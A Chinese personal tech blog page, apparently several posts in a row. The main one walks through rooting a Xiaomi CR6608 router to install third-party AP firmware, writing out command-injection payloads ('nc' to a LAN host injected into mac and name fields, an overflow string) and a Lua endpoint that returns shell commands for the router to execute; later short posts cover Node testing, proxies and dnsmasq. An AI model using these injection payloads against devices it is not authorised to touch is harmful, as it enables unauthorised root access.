Liangziye

深入浅出不如不进不出

0%

前言

本文记录了从无到有将CR6608从官方固件刷成集客AP,并在局域网中安装集客软AC的完整过程,仅仅是本人自身实践的回顾和对刷机原理的总结,因环境存在差异,刷机有风险,如需使用请谨慎参照本文,不可照搬。另外,CR660X的刷机到现在已经非常普遍非常简单了,所有资料所有知识都来自于各个博客和论坛相关帖子,文中的操作全都可以通过搜索引擎搜索得到。

CR6606/CR6608/CR6609/TR608各型号的区别不在下文实践范围内,其中的差异需要搜索其他资料来确定。下文所有操作都基于CR6608、所有提到的“路由器”都特指CR6608。

当前环境:

  • CR6608为移动的1.0.23版本,双频WIFI开启但不合并,SSID和密码默认与机器背部贴纸上一致,工作模式为“普通路由工作模式”,DHCP开启,局域网IP为默认即192.168.10.1

必要环境

  • CR6608为运营商官方固件,其版本必须足够低,若是高版本建议先刷为低版本。

启用路由器的SSHD

利用漏洞向路由器注入命令,启用路由器的sshd。

下文中所有实践的方法都是需要登录路由器管理页面的,登录成功后保持管理页面不要关闭,在地址栏获得stok参数的值,有了它就可以请求路由器的api了。api通常为: http://[浏览器ip]/cgi-bin/luci/;stok=[stok值]/api/xxxxxxx/xxxxxxxx,下文中所有提到的api都简写为/api/xxxxxxx/xxxxxxxx。下文中提到的Rooting Xiaomi WiFi Routers文章也讨论了不需要stok值即不需要登录管理页面的相关漏洞,但它不在本文实践范围之内。

利用smartcontroller漏洞

利用这个漏洞的前提是路由器开启smartcontroller,如果没有开启就发起请求会得到Internal Server Error的响应,开启smartcontroller需要使用api:/api/misystem/set_sys_time来设定系统时间,这个api接受一个名为time的参数,把值设为2023-2-19 23:4:47&timezone=CST-8即可开启smartcontroller。这个请求为GET请求。

Rooting Xiaomi WiFi Routers文章中,有一个关于smartcontroller的注入漏洞,对于api:/api/xqsmarthome/request_smartcontroller,接受一个名为payload的参数,文章内已经为我们构造了这个参数的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
{
"command":"scene_setting",
"name":"it3",
"action_list":[
{
"thirdParty":"xmrouter",
"delay":17,
"type":"wan_block",
"payload":
{
"command":"wan_block",
//注入。方式一。路由器会执行nc 192.168.31.161 4242
"mac":";nc 192.168.31.161 4242;#"
}
}
],
"launch":
{
"timer":
{
"time":"2:2",
"repeat":"0",
"enabled":true
}
}
}

上面json中的mac值就是注入的地方,有多种方式可以注入,路由器会以root执行注入的命令

1
2
3
4
//方式一。路由器会执行nc 192.168.31.161 4242
"mac":";nc 192.168.31.161 4242;#"
//方式二。利用栈缓冲区溢出,此种方式不合适命令注入)
"mac":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%de%ad%be%ef"

mac值之外,name值也能注入

1
2
//方式三。路由器会执行nc 192.168.31.161 4242
"name":"'$(nc 192.168.31.98 4242)'"

向路由器这个api发送带着上文payload的POST请求之后,我们再向这个api发送另一个POST请求带着下面的payload即可触发命令的执行:

1
2
3
4
5
{
"command":"scene_start_by_crontab",
"time":"2:2",
"week":0
}

可以使用任何工具发起POST请求带上字段为payload的参数即可,切记每一次发送了带注入命令的payload之后,需要接着发送上文中第二个payload才能触发命令的执行。

关于有关启用sshd的命令,路由器的sshd服务端为dropbear,需要执行的命令为:

1
2
3
4
5
sed -i s/release/XXXXXX/g /etc/init.d/dropbear
nvram set ssh_en=1
nvram commit
/etc/init.d/dropbear enable
/etc/init.d/dropbear restart

以下是有关此漏洞开启sshd的现成命令与工具:

mphin/miwifi_tools使用curl发送请求,只需要替换掉README中的每一条curl命令中的路由器IP和stok值,一条条按顺序执行即可。需要强调的是powershell中的curl命令实际上为Invoke-WebRequest的别名,如需在powershell中使用真正的curl需要调用curl.exe而不是curl;开启sshd后,root账户的密码可以先试试管理页的登录密码,如果不对需要计算得到Xiaomi Router Developer Guide & Tools

【教程】小米 AX3000/AX3600/AX9000/万兆路由器/AC2100/AC2350/AX1800/AX5400 开启SSH-小米无线路由器及小米网络设备-恩山无线论坛详细地写了使用curl开启sshd的教程;

最后,项目openwrt-xiaomi/xmir-patcher包含了开启sshd的功能,也有刷bl等其他功能但我没有在路由器上尝试。这个项目在使用上简单友好,有菜单,有交互输入,clone下来运行并按菜单指示操作就可以了。注意,根据交互输出的提示,此项目已经把root账户密码重置为了root。

1
2
3
4
5
6
git clone https://github.com/openwrt-xiaomi/xmir-patcher.git
cd xmir-patcher
#windows下执行!START.bat
.\!START.bat
#linux下执行run.sh 需要python 3.8+和openssl
./run.sh

环境没有安装git可以直接下载项目解压执行。

利用小米换机漏洞

利用这个漏洞的方法是让路由器连上一个wifi,此wifi必须满足在子网内没有DHCP服务,同时在子网内存在IP为169.254.31.1的主机,CR6608可以ping通此主机。

原理是当路由器没有被DHCP分配IP时会把自己的IP设为169.254.31.2,此时任意一台电脑向路由器请求/api/xqsystem/oneclick_get_remote_token会使路由器向169.254.31.1请求/api/xqsystem/token,路由器收到169.254.31.1的响应后,会执行包含在响应中名为token字段的值里面的任何命令,所以只要把开启sshd的命令写在这个值内,路由器即可开启sshd。

利用小米换机漏洞的步骤比较繁杂,暂时没有找到一键式的工具,各个帖子利用此漏洞所采取的操作也八仙过海,从效率和使用的角度来看,应该尽量利用smartcontroller漏洞来开启sshd。

准备:

  • 两台电脑,其中一台电脑可以安装虚拟机,有无线网卡能开启移动热点,定义为电脑A,另外一台定义为电脑B。
  • 路由器关闭双频合一,2.4G的WIFI开启。

电脑A安装VirtualBox

windows系统有winget可直接在终端使用winget安装,过程不短,中途有可能会多次断网和黑屏,需要耐心等待,安装完最好重启电脑A。

1
winget install --id Oracle.VirtualBox

没有winget或者其他系统可用其他包管理器安装或者直接在官网Downloads – Oracle VirtualBox下载安装。

也可以用其他虚拟机软件,如VM等。

下载OpenWrt固件,将img格式的固件转换为VirtualBox的vdi格式文件,在VirtualBox中安装新建虚拟机

官网下载合适的固件,此处用的固件是openwrt-22.03.5-x86-64-generic-ext4-combined-efi.imgcd到VirtualBox根目录中,使用根目录下的vboxmanage转换固件的文件格式:

1
.\vboxmanage.exe convertfromraw "输入的img文件路径" "输出的vdi文件路径" -format VDI

得到vdi格式的文件后,打开VirtualBox新建虚拟机,将vdi文件作为此虚拟机的虚拟硬盘。

踩坑:

一开始选择了24版本的OpenWrt,安装后发现目录有些变化,找不到LuCI的controller,为了节省时间直接使用电脑里很久之前下载好的22版本。

官网下载的文件格式是gz,我在windows上用7z解压报错,找不到原因后无奈移动它到debian上用gzip -d xxxx.gz解压。

新建虚拟机完成后无法启动虚拟机,报错error in supR3HardenedWinReSpawn,原因是服务没有安装成功,需要右键菜单安装VirtualBox根目录下的.\drivers\vboxsup\VBoxSup.inf再重启电脑A。

启动OpenWrt虚拟机,新建lua脚本,关闭LAN接口的DHCP,修改LAN接口的IP地址为169.254.31.1,掩码为255.255.255.0

为了方便修改OpenWrt的配置,暂时先从VirtualBox的控制台使用终端修改OpenWrt的LAN口IP为与当前电脑网络相同网段,这里电脑A是192.168.2.135/24,所以可以把OpenWrt的LAN口IP暂时先设置为这个网段下没有其他设备使用的IP如192.168.2.136。具体操作:双击虚拟机启动后弹出VirtualBox的控制台,在控制台编辑文件:vim /etc/config/network,修改interface lan下面的option ipaddr处的IP。修改完成重启网卡:/etc/init.d/network restart或重启系统:reboot。同时在VirtualBox处将OpenWrt虚拟机的网络改为桥接,桥接对象为电脑A当前正在上网的网卡,此时电脑A就能连接上虚拟机了,试试ping 192.168.2.136是否ping通。从windows终端处ssh连接它和使用浏览器登录webui都能更方便管理和修改配置。(这一步其实是完全多余的,当然也可以不做,下文操作以任意方式连上OpenWrt都可以完成)

在电脑A上使用终端ssh进OpenWrt,在/usr/lib/lua/luci/controller/admin/下新建一个名为xqsystem.lua的脚本,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
module("luci.controller.admin.xqsystem", package.seeall)


function index()
local page = node("api")
page.target = firstchild()
page.title = ("")
page.order = 100
page.index = true
page = node("api","xqsystem")
page.target = firstchild()
page.title = ("")
page.order = 100
page.index = true
entry({"api", "xqsystem", "token"}, call("getToken"), (""), 103, 0x08)
end

local LuciHttp = require("luci.http")

function getToken()
local result = {}
result["code"] = 0
result["token"] = "; nvram set ssh_en=1; nvram commit; sed -i 's/channel=.*/channel=\"debug\"/g' /etc/init.d/dropbear; /etc/init.d/dropbear start;"
LuciHttp.write_json(result)
end

浏览器访问192.168.2.135进入OpenWrt的webui,默认密码为空。点击“Network”-“Interface”-Edit”修改lan接口,在“General Settings”下修改ipv4地址为169.254.31.1,子网掩码为255.255.255.0,在“DHCP Server”选项卡下,勾选“General Setup”下的“Ignore interface”,取消勾选“Advanced Settings”下的“Dynamic DHCP”。点击“Save”保存,点击“Save & Apply”应用。修改完这些配置之后,电脑A是连不上OpenWrt的,为了不出现莫名其妙的问题,此时可以在VirtualBox重启一下OpenWrt。

踩坑:

单单通过勾选“Ignore interface”来禁用DHCP无法应用配置,再加上取消勾选“Dynamic DHCP”就可以了。

开启电脑A的移动热点,将OpenWrt虚拟机的网络桥接到热点的虚拟网卡上,通过取消热点虚拟网卡的IP协议来完全禁用DHCP

windows需要连接任意的WIFI才能打开移动热点,连接任意WIFI打开移动热点后,在设置中修改好热点的SSID和密码,“共享我的Internet连接”选WLAN,关闭“节能”选项避免操作过程中热点自动关闭。在控制面板中的“网络和Internet”中的“网络连接”,对热点的虚拟网卡右键属性,取消勾选“Internet协议版本4”和“Internet协议版本6”,点击层层确定按钮以完全关闭这些设置窗口以避免设置不生效。最后再到VirtualBox将OpenWrt的网络桥接对象改为此热点的虚拟网卡。至此,任何连上电脑A热点的设备都能连上OpenWrt虚拟机。

踩坑:

最开始我选择开启CR6608的SSH方案是在电脑A起一个Nginx而不是虚拟机,但是我发现将热点的IP设置为169.254.31.1并取消无线网卡的共享以达到禁用DHCP的目的的时候,CR6608连接电脑A热点总是不成功,虽然最初的十几秒WIFI已经连上,在OpenWrt也是可以ping通169.254.31.2的,但是WIFI最终会断掉,断掉后在电脑B的浏览器返回“DHCP failed code 1619”。其次我尝试过不使用热点而是第三方旧路由器方案,依然会报这个错,也许跟我电脑A的网络拓扑和DHCP没有成功禁用有关系。

电脑B连接路由器,进入路由器的web管理界面,复制浏览器地址栏URL参数中的stok值备用

路由器通电,电脑B网线连接路由器的LAN口,电脑B的网卡IP地址设置为与路由器LAN口IP同一网段,这里设置为192.168.10.34。若电脑B用无线连接路由器,则要确保路由器的双频没有合一,并且只连接其5G的WIFI,因为2.4G在后续需要连接电脑A的热点,同时也要记得修改无线网卡的IP。浏览器输入路由器的IP地址即192.168.10.1,进入管理界面后复制浏览器地址栏URL参数中的stok值备用。注意!电脑B中的管理界面不能关掉,浏览器不能关掉,不能断开与路由器的连接,以此来保证stok值不发生变化。

CR6606/CR6608/CR6609默认IP分别为:192.168.31.1、192.168.10.1、192.168.2.1

在电脑B浏览器访问路由器的api:/api/misystem/extendwifi_connect,使路由器去连接电脑A的热点

在电脑B开启一个新的浏览器标签页或窗口,访问以下替换掉“路由器IP”、“stok值”、“热点名称”、“热点密码”的链接:

1
http://路由器IP/cgi-bin/luci/;stok=stok值/api/misystem/extendwifi_connect?ssid=热点名称&password=热点密码

稍加等待,成功会返回一个code为0的json值{"msg":"connect succces!","code":0}。题外话,貌似开发人员在这里有拼写错误,我的路由器的确返回的是“succces”。

踩坑:

坑太多了,这里成功需要完全保证169.254.31.1的设备或者这个子网内不小心连上的其它设备都关闭DHCP,以确保CR6608在没有被分配IP的情况下将自己IP设置为169.254.31.2——所以为避免冲突整个子网也不能有IP为169.254.31.2的占用。我尝试的其他方案大多数都在这一步报了1619的错,唯一有一次在第三方旧路由方案中,我尝试各种接法中的一种,成功返回了code0,但是我已经忘记了它是怎么接的了,而且跟连上电脑A热点的DHCP是否是真的关掉了有非常大的关系。像上文提到的,CR6608并不是连不上热点,而是连上了热点不久又自己断掉才返回的1619报错。

在电脑B浏览器访问api:/api/xqsystem/oneclick_get_remote_token使路由器触发小米换机的漏洞,以此来开启SSHD

在电脑B开启一个新的浏览器标签页或窗口,访问以下替换掉“路由器IP”、“stok值”的链接:(链接中的username以及其他参数的值都不要改,它就是xxx)

1
http://路由器IP/cgi-bin/luci/;stok=stok值/api/xqsystem/oneclick_get_remote_token?username=xxx&password=xxx&nonce=xxx

稍加等待,成功一样会返回一个code为0的json值{"token":"..........","code":0}。至此,路由器的sshd已经成功开启,不要断掉连接也不要重启路由器,因为sshd没有固化。

刷PB-BOOT

在电脑B上使用scp或者winscp等工具传PB-BOOT的img文件进路由器,在电脑B的终端上使用SSH登录路由器,刷入PB-BOOT

在电脑B上打开winscp,协议选择scp,IP地址填写路由器的地址即192.168.10.1,用户名是root,密码是机器背部贴纸的密码也就是管理页面的管理员密码。

winscp进入路由器后,将提前准备好的PB-BOOT的img文件传送进路由器内,一般选择/tmp目录。

接着,在终端上使用ssh进入路由器:

1
ssh -oHostKeyAlgorithms=+ssh-rsa root@192.168.10.1

成功进去之后,刷PB-BOOT:

1
mtd write /tmp/pb-boot.img Bootloader

运行完之后重启:

1
reboot

至此,PB-BOOT刷完,重启机器稍微等待一会,拔掉路由器的电源,用取卡针或者牙签顶住路由器的reset按钮不松开,再接上路由器的电源,等待十几秒后松开reset按钮,此时路由器开机进入PB-BOOT。把电脑B的网卡改成192.168.1.0/24网段的,例如192.168.1.34,子网掩码改为255.255.255.0,就可以在电脑B上通过浏览器里访问192.168.1.1进入PB-BOOT。

踩坑:

winscp中协议不选scp会被目标拒绝。

其他帖子提到CR6606在刷机之后root密码会变成与MAC/SN相关的密码需要计算才能得到。

ssh不加rsa的参数去连接路由器如果报no matching host key type found.Their offer:ssh-rsa的错,需要加上-oHostKeyAlgorithms=+ssh-rsa参数,变成ssh -oHostKeyAlgorithms=+ssh-rsa root@192.168.10.1

刷BREED改MAC(可选)

刷集客固件之后每次重启MAC都会改变,如果最终目的是刷集客固件的话,需要事先刷BREED去固定MAC再刷会PB-BOOT。如果是刷OpenWrt或者其他固件,此步跳过。

紧接上文,在PB-BOOT的页面上点击选择文件,选择电脑B上实现准备好的BREED的bin文件,点击恢复固件,耐心等待它刷完,点击“进入路由器首页”可以直接进BREED,BREED的IP也是192.168.1.1。点击MAC地址修改,在“LAN MAC”那一行填上机器背部贴纸上的MAC地址,点击“修改”。点击固件更新,勾选“Bootloader”,选择PB-BOOT固件,勾选“自动重启”,点击“上传”,点击“更新”,耐心等待它刷回PB-BOOT。提示成功刷完后,浏览器重新访问192.168.1.1就可以回到PB-BOOT了。

踩坑:

直接用BREED刷集客AP固件,在一些版本上会出现路由器指示灯不亮的问题,这对于CR6608影响非常大,因为它后面的接口也没有指示灯,如果正面的指示灯不亮的话,根本无法判断它是否正常开机。

刷集客AP固件

在PB-BOOT上选择8.0版本的集客固件刷入

在PB-BOOT上选择电脑B上提前准备好的集客固件,固件的型号是AP246ND,版本是8.0,刷入。至此,路由器刷集客AP固件完成。

进入集客AP管理页面

刷完后,集客AP的默认IP地址为6.6.6.6,像上文一样再次修改电脑B网卡的IP地址为6.6.6.6/24网段的IP例如6.6.6.34,就可以进入集客AP的管理页面。

踩坑:

6.1版本的AP246ND固件的管理页面,用Edge浏览器无法登录,在输入密码后进入页面会闪一下便立刻退出,换Chrome没有发现此问题,疑似跟浏览器的插件有冲突。另外7.4版本的AP246ND固件在Edge上打开管理页面一切正常。

小米CR660X(6606/6608/6609) 折腾过程以及刷集客AP测试发现的几个问题-小米无线路由器及小米网络设备-恩山无线论坛看来,有着先刷6.1再更新7.4的操作,原因为:低版本存在射频无信号的BUG,高版本存在开机几分钟便无限重启的BUG,先刷6.1再升7.4可以同时避免这两个BUG。

7.4版本的5G信号启动得非常慢,起初我误以为此版本在路由器上没有5G射频,事实上开机好几分钟之后才能在列表看到5G的SSID。重新刷了7.2版本,此问题同样存在。

目前尝试过的版本:6.4、7.2、7.4、8.0都会在重启后丢失所有配置,所以从实际情况考虑是需要部署一个AC用于下发配置的。

最终选择的8.0集客AP固件是没有free版本的,所以8.0的管理页面会显示未注册——即使刚刷完显示已注册但用一会就会变回未注册。就目前看来,未注册暂时没有对我造成使用上的困扰。

部署集客AC

集客官方直接提供了AC控制器在各平台的二进制文件:文件管理,加上我的主路由环境多年来一直都是ESXi打底上面跑OpenWrt的组合,使得安装软AC的过程畅通无阻。如果主路由没有虚拟化的话,软AC需要考虑其他方案,比如在OpenWrt上跑Docker部署软AC的镜像,或者不考虑软AC,改之为使用一台合适的路由器刷集客对应版本的AC固件。

ESXi创建虚拟机

集客官方在文件管理提供了86、amd64、arm、mips各个平台的文件,选择最熟悉的系统即可。这里安装的是我比较熟悉的Debian,从Debian官网提供的镜像站下载Debian的iso文件debian-12.1.0-amd64-DVD-1.iso

在ESXi上创建一台虚拟机,在设置上,网络适配器:选择的端口组为主路由所在的端口组,或不同端口组但两端口组处于同一个虚拟交换机内,这里显而易见是为了让Debian与主路由所处的网络连通。CD/DVD硬盘驱动器:选择Debian的iso镜像。

启动Debian虚拟机开始安装系统,安装过程中的不要选择任何多余的软件,只需要选择安装SSH就可以了。

虚拟机的基本网络配置

根据集客官方的说明文档:file.cnrouter.com/upload/gac/含登录页面版本(主要用于独立使用)/运行参数说明.txt,需要让AP能访问到6.7.8.9:60650,可选方案一是把Debian的IP静态为6.7.8.9,二是从OpenWrt主路由做一个转发从Debian的IP:端口转发到6.7.8.9:60650。为了考虑方便迁移,减少依赖性,此处选择的前者,直接把Debian静态为6.7.8.9。

修改 /etc/network/interfaces,把Debian当前的网卡ens33设为静态,网关指向OpenWrt主路由。

1
#ipv4 static                                                                     auto ens33                                                                       iface ens33 inet static                                                           address 6.7.8.9                                                                   netmask 255.255.255.0                                                             gateway 192.168.2.1

重启网卡

1
systemctl restart networking

部署集客软AC

下载集客官方提供的文件ac_linux_amd64_V2.2_202503181710到Debian

1
2
3
4
5
cd /etc
mkdir jike
cd ./jike
wget http://file.cnrouter.com/upload/gac/%E5%90%AB%E7%99%BB%E5%BD%95%E9%A1%B5%E9%9D%A2%E7%89%88%E6%9C%AC%EF%BC%88%E4%B8%BB%E8%A6%81%E7%94%A8%E4%BA%8E%E7%8B%AC%E7%AB%8B%E4%BD%BF%E7%94%A8%EF%BC%89/ac_linux_amd64_V2.2_202503181710
chmod +x ac_linux_amd64_V2.2_202503181710

到这里其实就可以直接运行集客AC了,但还可以再做一些工作完善一下。

设置集客AC开机启动

首先我们设置Debian这个虚拟机在宿主机ESXi启动时自动启动,在ESXi虚拟机列表右键Debian弹出菜单点击自动启动,启用它。

在Debian刚刚放集客AC的目录下面再新建一个脚本固定一下ac启动的参数,根据官方的说明file.cnrouter.com/upload/gac/含登录页面版本(主要用于独立使用)/运行参数说明.txt,可选参数非常少并且简单易懂,其间也给出了启动示例,只需要关心-p-mp自定义一下控制器端口和管理页面端口,-f-dbpath 自定义一下上传文件目录和数据库目录即可

1
2
3
cd /etc/jike
touch ac_run.sh
chmod +x ac_run.sh

ac_run.sh写上运行ac_linux_amd64_V2.2_202503181710的命令

1
2
#!/bin/bash
nohup ./ac_linux_amd64_V2.2_202503181710 -p 60650 -mp 80 -f ./upload/ -dbpath ./ -token 1 -lang zh -https 0 -isonlyoneprot 0 >ac_linux_amd64.log&

接着加入开机启动脚本

1
2
3
cd /etc/init.d
touch jike.sh
chmod +x jike.sh

jike.sh写上执行ac_run.sh的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/bash

### BEGIN INIT INFO
# Provides: jike_ac
# Required-Start: $network $remote_fs $local_fs
# Required-Stop: $network $remote_fs $local_fs
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: run jike ac
# Description: run jike ac
### END INIT INFO

cd /etc/jike
./ac_run.sh

exit 0

加入开机启动,重启一下Debian检查下开机启动是否成功

1
2
update-rc.d jike.sh defaults
reboot

设置AC控制器,下发AP配置

把电脑改为与6.7.8.9同一网段,访问6.7.8.9进入AC控制器的管理页面。管理页面上说明写着“无线AP可以跨VLAN,子网,三层交换机,路由器和防火墙找到本AC”,“在未隔离广播的情况下,子网6.7.8.9/255.255.255.0内的AP可以通过广播的方式自动发现本AC”,“也可以通过在核心交换机上添加一条到6.7.8.9/32,下一跳为6.7.8.9的静态路由来让AP发现本AC”。

按理说,把所有刷好AP固件的路由器LAN口接入到局域网中,网络配置无误的情况下在AC管理页面的无线AP列表会显示出所有AP。

踩坑:

我把路由器接入到局域网中之后,在子网内AC无法发现AP,折腾了一番只能选择去OpenWrt主路由添加一条静态路由。接口选局域网的接口,路由类型选单播,目标填6.7.8.9/32,网关填0.0.0.0。添加这条静态路由之后,不仅6.6.6.6的AP路由器能连通到AC的6.7.8.9,整个局域网都能连通到6.7.8.9了。

在AC控制器管理页面新增模板,设置好WIFI的各个参数,再把模板下发给所有AP路由器即可,接着选择所有AP路由器修改密码,对每台AP单独命名。至此,集客AC部署设置完成。

环境

根目录.mocharc.json

1
2
3
4
5
6
7
8
9
10
{
"require": "ts-node/register",
"spec": "src/test/**/*.ts",
"extension": ["ts"],
"timeout": 5000,
"reporter": "spec",
"slow": 300,
"ui": "bdd",
"recursive": true
}

根目录package.json部分

1
2
3
4
5
6
7
8
9
10
11
12
{
"type": "commonjs",
"scripts": {
"test": "mocha"
},
"dependencies": {
"@types/chai": "^4.3.16",
"@types/mocha": "^10.0.6",
"chai": "^4.4.1",
"mocha": "^10.4.0"
}
}

复现

运行npm run test报错

1
Exception during run: TypeError [ERR_UNKNOWN_FILE_EXTENSION]: Unknown file extension ".ts" for ......................

解决

chai当前5.x版本仅支持纯ESM,而当前项目type为commonjs,安装char的4.x版本即可

1
2
3
npm uninstall @types/chai chai
npm cache clean --force
npm install chai@4 @types/chai@4

相关链接

v5 - Unknown file extension ".ts" when running with mocha · Issue #1568 · chaijs/chai (github.com)

当前环境

  • win10
  • npm v10.7.0
  • node v18.20.3

安装chocolatey

powershell管理员安装:

1
Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))

耐心等待,过程涉及到下载,需要一定耗时。

详见官网

安装环境相关

1
choco install python visualstudio2022-workload-vctools -y

详见node-gpy README

npm安装node-gyp

1
npm install -g node-gyp

场景

在win10 VS2022上试了一下调试ProwlarrFlareSolverr,想搞懂为什么docker上跑着的这两容器在某一两个pt站上不能成功过CF的5秒盾,需要抓下包确认下请求头是否设置无误。

尝试

想从VS里面直接抓包,一些旧版VS在性能查看器那里是有关于网络的,从某个版本开始也移除了这个功能,没有网络了。

打开了wireshark从网卡当然可以抓到所有包,但请求都是https,用改环境变量让chrome记录ssllog接着wireshark去读它然后解密的方法,只适用于浏览器,对IDE调试没用。想走一样的思路让IDE去记录调试中网络连接的私钥,也没能搜到相关的内容。

于是我打开了fiddler,fiddler是代理中间人的模式,肯定能解https,可是调试时却发现没能抓到任何一个VS的包,浏览器的包倒是能抓到,原因是vs发出的网络请求没从fiddler代理的8888端口经过。

接着便是修改VS的设置让VS从8888走代理,搜了一下发现2022版本好像是没有代理服务器设置的,旧版是有的,某个版本开始也移除了。

最后用netsh修改WinHTTP的代理,然后重启VS,问题得到了解决。

解决方案

设置代理:

1
netsh winhttp set proxy 127.0.0.1:8888

重置:

1
netsh winhttp reset proxy

引用

wireshark https抓包

Introducing Visual Studio’s Network tool

Configure .NET Core Applications

开了dnsmasq的日志之后,发现一次query下面却跟了两个forwarded

1
2
3
4
Jul  6 13:03:12 dnsmasq[14543]: 1 192.168.x.xxx/60201 query[A] clientservices.googleapis.com from 192.168.x.xxx
Jul 6 13:03:12 dnsmasq[14543]: 1 192.168.x.xxx/60201 forwarded clientservices.googleapis.com to 223.5.5.5
Jul 6 13:03:12 dnsmasq[14543]: 1 192.168.x.xxx/60201 forwarded clientservices.googleapis.com to 223.5.5.5
Jul 6 13:03:12 dnsmasq[14543]: 1 192.168.x.xxx/60201 reply clientservices.googleapis.com is 120.253.255.98

我第一反应跟我用两条宽带有关,于是把其中一条宽带的DNS改成114.114.114以区分,果然,两次forwarded,一次223.5.5.5一次114.114.114

1
2
3
4
Jul  6 13:29:45 dnsmasq[780]: 1 192.168.x.xxx/58192 query[A] www.google.com from 192.168.x.xxx
Jul 6 13:29:45 dnsmasq[780]: 1 192.168.x.xxx/58192 forwarded www.google.com to 223.5.5.5
Jul 6 13:29:45 dnsmasq[780]: 1 192.168.x.xxx/58192 forwarded www.google.com to 114.114.114.114
Jul 6 13:29:45 dnsmasq[780]: 1 192.168.2.135/58192 reply www.google.com is 142.251.43.4

不知道为什么dnsmasq要每一条宽带都请求一次,可能是在负载均衡的规则中进了balanced。

于是去负载均衡里面加上了两条DNS的规则,让tcp/udp协议的目标端口为53的流量都优先走其中一条宽带,发现并不管用。

去看看dnsmasq的解析文件/tmp/resolv.conf.d/resolv.conf.auto

1
2
3
4
# Interface wan
nameserver 223.5.5.5
# Interface wan1
nameserver 114.114.114.114

突然明白了,我之前勾选了“使用 all-servers 并发查询”,这样每个网络接口里面自定义的DNS服务器都会查一次,但只用最快得到的结果。我取消了并发查询之后,一次query只有一个forwarded。

其实问题出在resolv.conf,两个网络接口用相同的nameserver,resolv.conf会加上两条相同的nameserver,而不是相同的nameserver会自动去重。

在openwrt的luci可以直接开启dnsmasq的日志:

网络->DHCP/DNS->基本请求->记录查询日志 勾上

下面小字写着“将收到的 DNS 请求写入系统日志”,可是我没发现系统日志有dns查询记录

去看了一下配置文件/etc/dnsmasq.conf,除了一行log-facility=/dev/null就全是注释,很明显主要配置不在这里

又去这个/etc/config/dhcp配置文件看了一下,看config dnsmasq的部分,有关日志的也只有 option logqueries '1',这样看来,日志确实是开了,但是却不知道在哪

搜了一下dnsmasq的运行配置在/var/etc/dnsmasq.conf.cfgxxxxxx,也没有看到相关的日志位置

经过一番搜索,发现上面/etc/dnsmasq.conflog-facility就是配置日志的目录,改了之后/etc/init.d/dnsmasq restart重启dnsmasq,搞定。

要开关的话还是在luci开关,只把日志位置写在/etc/dnsmasq.conf就好了。也可以直接在/etc/config/dhcp加上 option logqueries '1',这里就是luci的配置文件,加上之后luci的记录查询日志的框框会自己勾上。

当然在/etc/dnsmasq.conf加上log-queries也可以直接开启日志,但这样的坏处是跟luci不同步了,加上之后,虽然luci的记录查询日志的框框没勾上,但却开启了日志。

最后,不要去改运行配置。

不想写await/sync,又不想嵌套括号,于是偷懒用了sync-request,两行就完成了GET请求,但是返回的结果对象,内部有三个字段,headers是对象,url是字符串,唯独body是一串二进制不能直接阅读,需要处理的数据。主要很奇怪的是在编辑器上console出来,控制台显示这是一个uint8Array,调试显示的也是一个uint8Array,但在终端补全时候提示却是一个Buffer。instanceof这两个都是true,unit8Array和Buffer是一个东西吗?

1
2
3
4
5
6
7
8
const request = require('sync-request');
const url = '';
const body = request('GET', url).body;

console.log(body instanceof Buffer);
//true
console.log(body instanceof Uint8Array);
//true

Buffer和Uint8Array的继承关系:

1
2
3
4
const buffer = new Buffer(3);

console.log(buffer instanceof Uint8Array);
//true

buffer继承于Uint8Array

Buffer Uint8Array与ArrayBuffer的关系

ArrayBuffer是一段字节,一段二进制数据,可以看做是内存上的一片格子,实质上是内存上一片连续空间的引用,它就代表了这一片连续的空间。ArrayBuffer不能更改长度容量,也不能直接操作它读取上面的数据。

为了操作它,读写上面的数据,我们需要Buffer Uint8Array这些东西,我们称它们为视图(view) ,可以想象Uint8Array覆盖在ArrayBuffer这一片连续内存之上,我们透过这一层视图来操作内存上的数据。

除了Uint8Array以外,ArrayBuffer的视图还有Uint16ArrayUint32Array诸如此类,看命名就可以得知,它们的区别只有bit大小不同,Uint8Array是8bit,1个byte,后两者分别是2个byte和4个byte,这个byte的区别是它们分别用多大的“尺寸”去“解释”ArrayBuffer,它们视图就像翻译机,我们偷着覆盖在上面这层翻译机翻译出下面的数据,Uint8Array是以每1个byte为单位作为一个元素,而Uint16Array是以每2个byte为单位作为一个元素,Uint32Array则是4个byte作为一个单位。他们统称为TypedArray

1111 1111 1111 1111 1111 1111 1111 1111这段数据,

Uint8Array解释为[255,255,255,255](十进制)

Uint16Array解释为[65535,65535](十进制)

Uint32Array解释为[33554431](十进制)

而Buffer继承自Uint8Array,自然也是1个字节为一个单位

这类视图有一个统称TypedArray,它们的方法都相同也比较简单,类似于数组的处理。

ArrayBuffer的实例化

1
new ArrayBuffer(length);

ArrayBuffer的构造函数只接受一个length参数,实例化出一个有着byte长度为length的内存块的ArrayBuffer实例,当实例化后,这片内存全为0。

注意,没有用数组或者其它buffer作为参数的构造方法,ArrayBuffer本身意义上就是一块连续内存上二进制数据的引用,而现成的数组或者其它buffer内部本身也指向了一块二进制数据。

TypedArray的实例化

1
new TypedArray(buffer [, byteOffset [, length]]);

如果说TypedArray这种视图只是一层在ArrayBuffer之上的操作工具,那严格来说它本身是没有数据的,先从ArrayBuffer的实例开始, buffer可以是一个ArrayBuffer的实例,这样实例化出来的TypedArray实例将指向这个ArrayBuffer实例

1
2
3
4
const arrayBuffer = new ArrayBuffer(4);
const view = new Uint8Array(arrayBuffer);
console.log(arrayBuffer === view.buffer);
//true

bufferTypedArray的一个属性,它是视图对象所对应的内存区域,也就是此实例所指向的ArrayBuffer实例。

再来看看可选参数,byteoffset代表的是TypedArray实例指向ArrayBuffer实例的偏移量,单位是byte,默认为0,length代表的是TypedArray实例覆盖ArrayBuffer实例的长度,这个默认不是ArrayBuffer实例的长度,默认是ArrayBuffer实例的长度减去byteoffset,如果byteoffset为ArrayBuffer实例的长度,那length就为0。

1
2
3
